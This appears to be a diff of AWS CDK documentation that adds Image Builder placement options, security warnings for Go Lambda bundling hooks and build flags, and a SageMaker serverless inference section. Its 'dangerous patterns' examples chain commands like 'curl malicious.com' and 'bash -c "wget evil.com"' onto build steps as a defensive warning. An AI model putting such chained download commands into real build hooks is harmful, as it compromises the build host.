httpTokens: imagebuilder.HttpTokens.REQUIRED,
|
|
74
|
+
httpPutResponseHopLimit: 1,
|
|
75
|
+
// Optional - publish image completion messages to an SNS topic
|
|
76
|
+
notificationTopic: sns.Topic.fromTopicArn(
|
|
77
|
+
this,
|
|
78
|
+
'Topic',
|
|
79
|
+
this.formatArn({ service: 'sns', resource: 'image-builder-topic' })
|
|
80
|
+
),
|
|
81
|
+
// Optional - log settings. Logging is enabled by default
|
|
82
|
+
logging: {
|
|
83
|
+
s3Bucket: s3.Bucket.fromBucketName(this, 'LogBucket', `imagebuilder-logging-${Aws.ACCOUNT_ID}`),
|
|
84
|
+
s3KeyPrefix: 'imagebuilder-logs'
|
|
85
|
+
},
|
|
86
|
+
// Optional - host placement settings
|
|
87
|
+
ec2InstanceAvailabilityZone: Stack.of(this).availabilityZones[0],
|
|
88
|
+
ec2InstanceHostId: dedicatedHost.attrHostId,
|
|
89
|
+
ec2InstanceTenancy: imagebuilder.Tenancy.HOST,
|
|
90
|
+
resourceTags: {
|
|
91
|
+
Environment: 'production'
|
|
92
|
+
}
|
|
93
|
+
});
|
|
94
|
+
```
|
|
@@ -170,6 +170,8 @@ new go.GoFunction(this, 'handler', {
|
|
|
170
170
|
});
|
|
171
171
|
```
|
|
172
172
|
|
|
173
|
+
**⚠️ Security Warning**: Build flags are passed directly to the Go build command and can execute arbitrary commands during bundling. Only use trusted values and avoid flags like `-toolexec` with untrusted arguments. Be especially cautious with third-party CDK constructs that may contain malicious build flags. The CDK will display a warning during synthesis when `goBuildFlags` is used.
|
|
174
|
+
|
|
173
175
|
By default this construct doesn't use any Go module proxies. This is contrary to
|
|
174
176
|
a standard Go installation, which would use the Google proxy by default. To
|
|
175
177
|
recreate that behavior, do the following:
|
|
@@ -200,19 +202,21 @@ new go.GoFunction(this, 'GoFunction', {
|
|
|
200
202
|
|
|
201
203
|
## Command hooks
|
|
202
204
|
|
|
203
|
-
It is
|
|
205
|
+
It is possible to run additional commands by specifying the `commandHooks` prop:
|
|
204
206
|
|
|
205
|
-
```
|
|
206
|
-
// This example only available in TypeScript
|
|
207
|
+
```ts
|
|
207
208
|
// Run additional commands on a GoFunction via `commandHooks` property
|
|
208
209
|
new go.GoFunction(this, 'handler', {
|
|
210
|
+
entry: 'cmd/api',
|
|
209
211
|
bundling: {
|
|
210
212
|
commandHooks: {
|
|
211
213
|
// run tests
|
|
212
214
|
beforeBundling(inputDir: string): string[] {
|
|
213
215
|
return ['go test ./cmd/api -v'];
|
|
214
216
|
},
|
|
215
|
-
|
|
217
|
+
afterBundling(inputDir: string, outputDir: string): string[] {
|
|
218
|
+
return ['echo "Build complete"'];
|
|
219
|
+
},
|
|
216
220
|
},
|
|
217
221
|
},
|
|
218
222
|
});
|
|
@@ -230,6 +234,100 @@ an array of commands to run. Commands are chained with `&&`.
|
|
|
230
234
|
The commands will run in the environment in which bundling occurs: inside the
|
|
231
235
|
container for Docker bundling or on the host OS for local bundling.
|
|
232
236
|
|
|
237
|
+
### ⚠️ Security Considerations
|
|
238
|
+
|
|
239
|
+
**Command hooks execute arbitrary shell commands** during the bundling process. Only use trusted commands:
|
|
240
|
+
|
|
241
|
+
**Safe patterns (cross-platform):**
|
|
242
|
+
|
|
243
|
+
```ts
|
|
244
|
+
new go.GoFunction(this, 'SafeFunction', {
|
|
245
|
+
entry: 'cmd/api',
|
|
246
|
+
bundling: {
|
|
247
|
+
commandHooks: {
|
|
248
|
+
beforeBundling: () => [
|
|
249
|
+
'go test ./...', // ✅ Standard Go commands work on all OS
|
|
250
|
+
'go mod tidy', // ✅ Go module commands
|
|
251
|
+
'make clean', // ✅ Build tools (if available)
|
|
252
|
+
'echo "Building app"', // ✅ Simple output with quotes
|
|
253
|
+
],
|
|
254
|
+
afterBundling: () => ['echo "Build complete"'],
|
|
255
|
+
},
|
|
256
|
+
},
|
|
257
|
+
});
|
|
258
|
+
```
|
|
259
|
+
|
|
260
|
+
**Dangerous patterns to avoid:**
|
|
261
|
+
|
|
262
|
+
*Windows-specific dangers:*
|
|
263
|
+
|
|
264
|
+
```ts
|
|
265
|
+
// ❌ Windows-specific dangers
|
|
266
|
+
new go.GoFunction(this, 'UnsafeWindowsFunction', {
|
|
267
|
+
entry: 'cmd/api',
|
|
268
|
+
bundling: {
|
|
269
|
+
commandHooks: {
|
|
270
|
+
beforeBundling: () => [
|
|
271
|
+
'go test & curl.exe malicious.com', // ❌ Command chaining with &
|
|
272
|
+
'echo %USERPROFILE%', // ❌ Environment variable expansion
|
|
273
|
+
'powershell -Command "..."', // ❌ PowerShell execution
|
|
274
|
+
],
|
|
275
|
+
afterBundling: () => [],
|
|
276
|
+
},
|
|
277
|
+
},
|
|
278
|
+
});
|
|
279
|
+
```
|
|
280
|
+
|
|
281
|
+
*Unix/Linux/macOS dangers:*
|
|
282
|
+
|
|
283
|
+
```ts
|
|
284
|
+
// ❌ Unix/Linux/macOS dangers
|
|
285
|
+
new go.GoFunction(this, 'UnsafeUnixFunction', {
|
|
286
|
+
entry: 'cmd/api',
|
|
287
|
+
bundling: {
|
|
288
|
+
commandHooks: {
|
|
289
|
+
beforeBundling: () => [
|
|
290
|
+
'go test; curl malicious.com', // ❌ Command chaining with ;
|
|
291
|
+
'echo $(whoami)', // ❌ Command substitution
|
|
292
|
+
'bash -c "wget evil.com"', // ❌ Shell execution
|
|
293
|
+
],
|
|
294
|
+
afterBundling: () => [],
|
|
295
|
+
},
|
|
296
|
+
},
|
|
297
|
+
});
|
|
298
|
+
```
|
|
299
|
+
|
|
300
|
+
**When using third-party constructs** that include `GoFunction`:
|
|
301
|
+
|
|
302
|
+
* Review the construct's source code before use
|
|
303
|
+
* Verify what commands it executes via `commandHooks` and `goBuildFlags`
|
|
304
|
+
* Only use constructs from trusted publishers
|
|
305
|
+
* Test in isolated environments first
|
|
306
|
+
|
|
307
|
+
The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
|
|
308
|
+
|
|
309
|
+
For more security guidance, see [AWS CDK Security Best Practices](https://docs.aws.amazon.com/cdk/latest/guide/security.html).
|
|
310
|
+
|
|
311
|
+
## Security Best Practices
|
|
312
|
+
|
|
313
|
+
### Third-Party Construct Safety
|
|
314
|
+
|
|
315
|
+
When using third-party CDK constructs that utilize `GoFunction`, exercise caution:
|
|
316
|
+
|
|
317
|
+
1. **Review source code** - Inspect the construct implementation for `commandHooks` and `goBuildFlags` usage
|
|
318
|
+
2. **Verify publishers** - Use constructs only from trusted, verified sources
|
|
319
|
+
3. **Pin versions** - Use exact versions to prevent supply chain attacks
|
|
320
|
+
4. **Isolated testing** - Test third-party constructs in sandboxed environments
|
|
321
|
+
|
|
322
|
+
**Before using any third-party construct:**
|
|
323
|
+
|
|
324
|
+
* Review the construct's source code on GitHub or npm
|
|
325
|
+
* Search for `commandHooks` and `goBuildFlags` usage in the code
|
|
326
|
+
* Verify no dangerous command patterns are present
|
|
327
|
+
* Use exact version pinning to prevent supply chain attacks
|
|
328
|
+
|
|
329
|
+
The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
|
|
330
|
+
|
|
233
331
|
## Additional considerations
|
|
234
332
|
|
|
235
333
|
Depending on how you structure your Golang application, you may want to change the `assetHashType` parameter.
|
|
@@ -214,6 +214,38 @@ const endpointConfig = new sagemaker.EndpointConfig(this, 'EndpointConfig', {
|
|
|
214
214
|
});
|
|
215
215
|
```
|
|
216
216
|
|
|
217
|
+
### Serverless Inference
|
|
218
|
+
|
|
219
|
+
Amazon SageMaker Serverless Inference is a purpose-built inference option that makes it easy for you to deploy and scale ML models. Serverless endpoints automatically launch compute resources and scale them in and out depending on traffic, eliminating the need to choose instance types or manage scaling policies. For more information, see [SageMaker Serverless Inference](https://docs.aws.amazon.com/sagemaker/latest/dg/serverless-endpoints.html).
|
|
220
|
+
|
|
221
|
+
To create a serverless endpoint configuration, use the `serverlessProductionVariant` property:
|
|
222
|
+
|
|
223
|
+
```typescript
|
|
224
|
+
import * as sagemaker from '@aws-cdk/aws-sagemaker-alpha';
|
|
225
|
+
|
|
226
|
+
declare const model: sagemaker.Model;
|
|
227
|
+
|
|
228
|
+
const endpointConfig = new sagemaker.EndpointConfig(this, 'ServerlessEndpointConfig', {
|
|
229
|
+
serverlessProductionVariant: {
|
|
230
|
+
model: model,
|
|
231
|
+
variantName: 'serverlessVariant',
|
|
232
|
+
maxConcurrency: 10,
|
|
233
|
+
memorySizeInMB: 2048,
|
|
234
|
+
provisionedConcurrency: 5, // optional
|
|
235
|
+
},
|
|
236
|
+
});
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
Serverless inference is ideal for workloads with intermittent or unpredictable traffic patterns. You can configure:
|
|
240
|
+
|
|
241
|
+
- `maxConcurrency`: Maximum concurrent invocations (1-200)
|
|
242
|
+
- `memorySizeInMB`: Memory allocation in 1GB increments (1024, 2048, 3072, 4096, 5120, or 6144 MB)
|
|
243
|
+
- `provisionedConcurrency`: Optional pre-warmed capacity to reduce cold starts
|
|
244
|
+
|
|
245
|
+
**Note**: Provisioned concurrency incurs charges even when the endpoint is not processing requests. Use it only when you need to minimize cold start latency.
|
|
246
|
+
|
|
247
|
+
You cannot mix serverless and instance-based variants in the same endpoint configuration.
|
|
248
|
+
|
|
217
249
|
### Endpoint
|
|
218
250
|
|
|
219
251
|
When you create an endpoint from an `EndpointConfig`, Amazon SageMaker launches the ML compute
|